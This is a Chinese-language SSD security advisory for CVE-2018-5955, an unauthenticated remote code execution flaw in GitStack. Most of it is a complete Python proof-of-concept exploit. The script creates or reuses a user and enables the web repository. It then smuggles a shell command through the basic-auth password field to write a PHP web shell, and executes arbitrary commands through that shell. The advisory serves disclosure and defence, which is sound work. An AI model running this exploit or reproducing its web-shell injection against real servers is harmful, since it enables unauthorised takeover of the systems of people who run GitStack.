SSD安全公告-GitStack未经验证的远程代码执行漏洞

漏洞概要
以下安全公告描述了在GitStack中存在的一个未经身份验证的动作,允许远程攻击者添加新用户,然后用于触发远程代码执行。
GitStack是一个可以让你设置你自己私人Git服务器的软件。 这意味着你可以创建一个没有任何内容的版本控制系统。GitStack可以非常容易的保持你的服务器是最新的。它是真正Git for Windows,并与任何其他Git客户端兼容。GitStack对于小团队来说是完全免费的。

漏洞提交者
一位独立的安全研究人员 Kacper Szurek向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
自2017年10月17日起,我们多次尝试联系GitStack,已经收到回应,但未提供有关解决方案或解决方法的详细信息。
CVE:CVE-2018-5955
漏洞详细信息
用户可控的输入没有经过充分的过滤,未经身份验证的攻击者可以通过发送以下POST请求在GitStack服务器中添加新用户:

http://IP/rest/user/
data={'username' : username, 'password' : password}

一旦攻击者将用户添加到服务器,他就可以启用web repository功能。
现在,攻击者可以从远程创建一个repository,并禁止其他人访问我们新的repository。
在repository中,攻击者可以上传后门并使用它来执行代码:

漏洞证明

import requests
from requests.auth import HTTPBasicAuth
import os
import sys
ip = '192.168.15.102'
# What command you want to execute
command = "whoami"
repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'
user_list = []
print "[+] Get user list"
r = requests.get("http://{}/rest/user/".format(ip))
try:
 user_list = r.json()
 user_list.remove('everyone')
except:
 pass
if len(user_list) > 0:
 username = user_list[0]
 print "[+] Found user {}".format(username)
else:
 r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
 print "[+] Create user"
 if not "User created" in r.text and not "User already exist" in r.text:
  print "[-] Cannot create user"
  os._exit(0)
r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
 print "[+] Web repository already enabled"
else:
 print "[+] Enable web repository"
 r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
 print "r: %s" % r
 if not "Web interface successfully enabled" in r.text:
  print "[-] Cannot enable web interface"
  os._exit(0)
print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()
if len(repository_list) > 0:
 repository = repository_list[0]['name']
 print "[+] Found repository {}".format(repository)
else:
 print "[+] Create repository"
r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
 print "[-] Cannot create repository"
 os._exit(0)
print "[+] Add user to repository"
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))
if not "added to" in r.text and not "has already" in r.text:
 print "[-] Cannot add user to repository"
 os._exit(0)
print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))
if not "everyone removed from rce" in r.text and not "not in list" in r.text:
 print "[-] Cannot remove access for anyone"
 os._exit(0)
print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST['a']); ?>" > c:GitStackgitphpexploit.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')
print "[+] Execute command"
r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')